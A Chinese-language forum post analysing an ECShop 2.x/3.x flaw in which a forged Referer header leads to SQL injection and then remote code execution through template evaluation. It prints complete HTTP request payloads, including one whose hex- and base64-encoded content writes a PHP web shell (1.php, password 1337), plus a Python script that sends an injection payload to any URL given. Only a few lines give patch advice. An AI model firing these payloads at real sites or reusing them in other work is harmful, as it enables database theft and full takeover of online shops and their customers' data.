taibeihacker
Moderator
0x00 前言
問題發生在user.php的的顯示函數,模版變量可控,導致注入,配合注入可達到遠程代碼執行0x01 漏洞分析
1.SQL注入
先看user.php的$ back_act變量來源於HTTP_REFERER,我們可控。
分配函數用於在模版變量裡賦值

再看顯示函數, 讀取user_passport.dwt模版文件內容,顯示解析變量後的HTML內容,用_echash做分割,得到$ķ然後交給isnert_mod處理,由於_echash是默認的,不是隨機生成的,所以$ VAL內容可隨意控制。

再看insert_mod函數, 非常關鍵的一個地方,這裡進行了動態調用$ VAL傳入進來用|分割,參數傳入進來時需要被序列化

再看包括/lib_insert.php中的insert_ads函數, 可以看到這裡直接就能注入了

2.代码执行

繼續看取函數

追踪_eval函數

$ position_style變量來源於數據庫中的查詢結構

然後我們繼續構造SQL注入,因為這段sql操作命令由部分換行了截斷不了所以需要在id處構造註釋來配合num進行union。

函數中有一個判斷

我們id傳入'/*
num傳入*/union選擇1,0x272f2a,3,4,5,6,7,8,9,10- - 就能繞過了,其poc:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id=p.position_id WHERE enabled=1 AND start_time='1535678679' AND end_time='1535678679' AND a.position_id=''/*' ORDER BY rnd LIMIT */union select 1,2,3,4,5,6,7,8,9,10-- -

var_dump一下


再看獲取函數,傳入的參數被fetch_str函數處理了

追踪fetch_str函數,這裡的字符串處理流程比較複雜

return preg_replace('/{([^\}\{\n]*)}/e', '\$this-select('\\1');', $source);
這一行意思是比如$源是XXXX {$ ASD} XXX,那麼經過這行代碼處理後就是返回這個- 選擇( '$ ASD')的結果,看看選擇函數

第一個字符為$時進入$這個- get_val函數

我們$ VAL沒有。 $又進入make_var函數

最後這裡引入單引號從變量中逃逸

我們要閉合_var所以最終有效載荷是
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
會在網站跟目錄生成1.txt裡面內容是getshell

GETSHELL exp:
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:'num';s:280:'*/union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d 6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -';s:2:'id';s:3:''/*';}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
會在網站根目錄生成1.php密碼是1337
0x02 漏洞复现
1.SQL注入复现
1.打開url連接地址:2.通過brupsuit或者fiddler進行抓包攔截,然後在http頭部增加Referer字段併後加上pco,這裡加入測試sql注入的poc
3.有效載荷:
GET /user.php?act=login HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:'num';s:72:'0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -';s:2:'id';i:1;}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


2.代码执行写入shell复现
1.打開url連接地址:2.通過brupsuit或者fiddler進行抓包攔截,然後在http頭部增加Referer字段併後加上pco,這裡加入測試寫入shell的poc
3.有效載荷:
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:'num';s:280:'*/union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d 6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -';s:2:'id';s:3:''/*';}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
注意這裡的十六進制是可以轉換成字符串的:
0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878
字符串:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
Base64解密:
ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp----
file_put_contents('1.php','?php eval($_POST[1337]);')


0x03漏洞影响
ECShop 2.xECShop 3.60x04 修复建议
臨時處理方式可以修改include/lib_insert.php文件中相關漏洞的代碼,將$arr[id]和$arr[num]強制將數據轉換成整型,$arr[id]和$arr[num]前加入intval限制。需要修改的地方為:
ECShop 3.6.0修復了以上漏洞,因此建議盡快更新至最新的3.6.0版本
0x05 参考链接
0x06 附录
檢查漏洞的pytho腳本:#!/usr/bin/python
# coding: utf-8
import requests as req
def run(url):
if 'http' not in url:
url='http://' + url
url=url + '/user.php?act=login'
print url,
headers={'referer':'554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:'num';s:161\
:'*/union select 1,0x272f2a,3,4,5,6,7,8,0x7b247b24686f6d65275d3b61737365727428626173\
6536345f6465636f64652827634768776157356d627967704f773d3d2729293b2f2f7d7d,10-- -';s:\
2:'id';s:3:'\'/*';s:4:'name';s:3:'ads';}554fcae493e564ee0dc75bdf2ebf94ca'}
try:
res=req.get(url,headers=headers,timeout=8)
except Exception,e:
print e
return '----- no vuln'
content=res.content
if 'disable_functions' in content :
return '----- have vuln !'
else:
return '----- no vuln'
if __name__=='__main__':
import sys
url=sys.argv[1]
print run(url)